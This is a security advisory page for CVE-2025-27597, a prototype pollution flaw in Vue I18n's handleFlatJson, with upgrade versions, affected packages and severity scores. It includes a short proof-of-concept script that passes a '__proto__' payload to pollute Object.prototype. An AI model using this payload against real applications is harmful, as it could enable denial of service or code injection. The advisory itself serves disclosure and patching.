Loading...
Skip to main content

CVE-2025-27597 — Vue I18n Allows Prototype Pollution in...

HIGH

Vue I18n Allows Prototype Pollution in `handleFlatJson`

Published March 7, 2025Updated August 26, 2026Source: osv

Summary

**Vulnerability type:** Prototype Pollution **Vulnerability Location(s):** ```js # v9.1 node_modules/@intlify/message-resolver/index.js # v9.2 or later node_modules/@intlify/vue-i18n-core/index.js ``` **Description:** The latest version of `@intlify/message-resolver (9.1)` and `@intlify/vue-i18n-core (9.2 or later)`, (previous versions might also affected), is vulnerable to Prototype Pollution through the entry function(s) `handleFlatJson`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context. **PoC:** ```bash // install the package with the latest version ~$ npm install @intlify/message-resolver@9.1.10 // run the script mentioned below ~$ node poc.js //The expected output (if the code still vulnerable) is below. // Note that the output may slightly differs from function to another. Before Attack: {} After Attack: {"pollutedKey":123} ``` ```js // poc.js (async () => { const lib = await import('@intlify/message-resolver'); var someObj = {} console.log("Before Attack: ", JSON.stringify({}.__proto__)); try { // for multiple functions, uncomment only one for each execution. lib.handleFlatJson ({ "__proto__.pollutedKey": "pollutedValue" }) } catch (e) { } console.log("After Attack: ", JSON.stringify({}.__proto__)); delete Object.prototype.pollutedKey; })(); ```

Advisory Timeline

  • First published March 7, 2025 (584 days ago).
  • Last revised August 26, 2026 — 536 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @intlify/core to 9.1.11 or later
npm install @intlify/core@9.1.11
npm
Update @intlify/core-base to 9.1.11 or later
npm install @intlify/core-base@9.1.11
npm
Update vue-i18n to 9.14.3 or later
npm install vue-i18n@9.14.3
npm
Update vue-i18n to 11.1.2 or later
npm install vue-i18n@11.1.2
npm
Update @intlify/vue-i18n-core to 10.0.6 or later
npm install @intlify/vue-i18n-core@10.0.6
npm
Update @intlify/vue-i18n-core to 11.1.2 or later
npm install @intlify/vue-i18n-core@11.1.2
npm
Update petite-vue-i18n to 11.1.2 or later
npm install petite-vue-i18n@11.1.2
npm
Update @intlify/message-resolver to 9.1.11 or later
npm install @intlify/message-resolver@9.1.11
npm
Update vue-i18n to 10.0.6 or later
npm install vue-i18n@10.0.6
npm
Update petite-vue-i18n to 10.0.6 or later
npm install petite-vue-i18n@10.0.6
npm
Update @intlify/vue-i18n-core to 9.14.3 or later
npm install @intlify/vue-i18n-core@9.14.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (11)

Affects 1 ecosystem: npm (6).

PackageEcosystemAffectedFixed In
@intlify/core
npm
All versions9.1.11
@intlify/core-base
npm
All versions9.1.11
vue-i18n
npm
All versions9.14.3
vue-i18n
npm
All versions11.1.2
@intlify/vue-i18n-core
npm
All versions10.0.6
@intlify/vue-i18n-core
npm
All versions11.1.2
petite-vue-i18n
npm
All versions11.1.2
@intlify/message-resolver
npm
All versions9.1.11
vue-i18n
npm
All versions10.0.6
petite-vue-i18n
npm
All versions10.0.6
@intlify/vue-i18n-core
npm
All versions9.14.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-1321
    Prototype PollutionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2025-27597?
Vue I18n Allows Prototype Pollution in `handleFlatJson` This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-27597?
CVE-2025-27597 affects @intlify/core, @intlify/core-base and vue-i18n (and 3 more). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-27597 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-p2ph-7g93-hw3m

Related CVEs

  • CVE-2026-107375
    HIGH

    JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

  • CVE-2026-107384
    HIGH

    MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies